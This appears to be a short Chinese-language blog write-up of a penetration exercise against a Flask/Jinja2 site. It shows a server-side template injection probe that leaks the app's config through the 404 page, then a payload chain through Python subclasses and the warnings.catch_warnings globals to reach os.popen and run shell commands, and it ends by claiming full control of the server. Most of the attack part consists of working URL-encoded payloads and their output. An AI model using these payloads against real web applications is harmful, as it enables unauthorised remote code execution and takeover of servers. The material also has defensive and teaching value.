Flusk/Jinja2 Attack Vector

在近日的演习中,我们扫描到目标网页: www.xyz.com使用了flask/jinjia2技术栈。在访问一个不存在的directory时网站返回:404,www.xyz.com/somedir does not exist。说明可能存在攻击向量。

使用以下url测试:www.xyz.com/%7B%7Bconfig.items()%7D%7D, 返回:

Error 404
The page 'dict_items([('ENV', 'production'), ('DEBUG', False), ('TESTING', False), ('PROPAGATE_EXCEPTIONS', None), ('PRESERVE_CONTEXT_ON_EXCEPTION', None), ('SECRET_KEY', None), ('PERMANENT_SESSION_LIFETIME', datetime.timedelta(days=31)), ('USE_X_SENDFILE', False), ('SERVER_NAME', None), ('APPLICATION_ROOT', '/'), ('SESSION_COOKIE_NAME', 'session'), ('SESSION_COOKIE_DOMAIN', None), ('SESSION_COOKIE_PATH', None), ('SESSION_COOKIE_HTTPONLY', True), ('SESSION_COOKIE_SECURE', False), ('SESSION_COOKIE_SAMESITE', None), ('SESSION_REFRESH_EACH_REQUEST', True), ('MAX_CONTENT_LENGTH', None), ('SEND_FILE_MAX_AGE_DEFAULT', datetime.timedelta(seconds=43200)), ('TRAP_BAD_REQUEST_ERRORS', None), ('TRAP_HTTP_EXCEPTIONS', False), ('EXPLAIN_TEMPLATE_LOADING', False), ('PREFERRED_URL_SCHEME', 'http'), ('JSON_AS_ASCII', True), ('JSON_SORT_KEYS', True), ('JSONIFY_PRETTYPRINT_REGULAR', False), ('JSONIFY_MIMETYPE', 'application/json'), ('TEMPLATES_AUTO_RELOAD', None), ('MAX_COOKIE_SIZE', 4093)])' could not be found

证明存在攻击向量。

由于…,并不能直接向其中写入类似 import os; os.exec()

很容易发现config class含有一个method:from_object(), 当传入string时,会自动调用 import string

因此我们写入魔法:

%7B%7B"".__class__.__base__.__subclasses__()%7D%7D

在返回值中找到id186,class warnings.catch_warnings,因为这个class import了sys module

容易发现通过.__init__.__globals__访问该class的全局变量, 在通过.__init__.__globals__[“sys”] 进入sys module。

我们知道sys中含有modules值,可以用其访问其他python内置module

因此通过

%7B%7B"".__class__.__base__.__subclasses__()[186].__init__.__globals__['sys'].modules['os'].popen("ls").read()%7D%7D

可以访问服务器中root dir,使用其他命令进行RCE,最终成功获得服务器控制权限。

Leave a Reply